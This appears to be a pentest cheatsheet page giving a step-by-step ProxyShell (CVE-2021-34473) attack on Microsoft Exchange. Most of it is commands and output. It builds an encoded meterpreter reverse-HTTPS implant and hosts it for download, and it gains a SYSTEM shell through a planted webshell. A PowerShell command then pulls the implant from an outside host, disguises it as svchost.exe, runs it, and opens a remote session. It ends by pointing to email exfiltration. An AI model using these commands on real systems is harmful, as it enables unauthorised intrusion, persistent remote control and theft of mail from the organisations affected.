Proxyshell

Exploiting proxyshell - CVE-2021-34473

• (Book) Mastering Metasploit: Exploit systems, cover your tracks, and bypass security controls with the Metasploit 5.0 framework, 4th Edition

I found that using exploit/windows/http/exchange_proxyshell_rce doesn't work but proxyshell-auto does for gaining RCE. Here we use both the exploit and a meterpreter to compromise vulnerable hosts.

• Metasploit - Cheatsheet

Build meterpreter

First we make an implant to perform post exploitation using metasploit:

msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=8888 -e x86/shikata_ga_nai -i 5 -f exe -o meterpreter.exe

Now we set our listener:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 1.2.3.4
set LPORT 8888
run

Host meterpreter for download:

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Gain a shell

We first use proxyshell-auto exploit which will give us a shell if the exchange server has powershell enabled.

Gain a shell:

user@host:~$ python3 proxyshell-auto/proxyshell.py -t 10.10.10.11
fqdn srvexchange2016.domain.local
+ Administrator@domain.com
legacyDN /o=COMPANY/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=cc84dab2b5f8407ea1545e2f024382aa-Administrator
leak_sid S-1-5-21-654894352-2732664023-2722231124-500
token VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBxBZG1pbmlzdHJhdGV1ckBwZWNoZXhwb3J0Lm1nVSxTLTEtNS0yMS02NTQ4OTQzNTItMjczMjY2NDAyMy0yNzIyMjMxMTI0LTUwMEcBAAAABwAAAAxTLTEtNS0zMi01NDRFAAAAAA==
set_ews Success with subject grvshwaveotkomvc
write webshell at aspnet_client/yhuzv.asPx
<Response [404]>
nt authority\system
SHELL>

From here we want to download a meterpreter payload for post exploitation:

SHELL> powershell.exe Invoke-WebRequest -Uri "http://1.2.3.4:8000/meterpreter.exe" -OutFile "c:\Windows\Temp\svchost.exe"

We now set our listener and execute the payload:

SHELL> powershell.exe "c:\windows\Temp\svchost.exe"

From here we will have a meterpreter connection to work from :)

[*] Started HTTPS reverse handler on https://1.2.3.4:8888
[*] https://1.2.3.4:8888 handling request from 10.10.10.11; (UUID: qdghnakk) Staging x86 payload (176732 bytes) ...
[*] Meterpreter session 1 opened (1.2.3.4:8888 -> 10.10.10.11:1984) at 2023-07-05 08:00:18 +0000
meterpreter > sysinfo
Computer        : srvexchange2016
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DOMAIN
Logged On Users : 6
Meterpreter     : x86/windows

E-mail exfiltration

For exfiltrating e-mails via proxyshell exploitation see Guacamaya's tutorial HackBack video.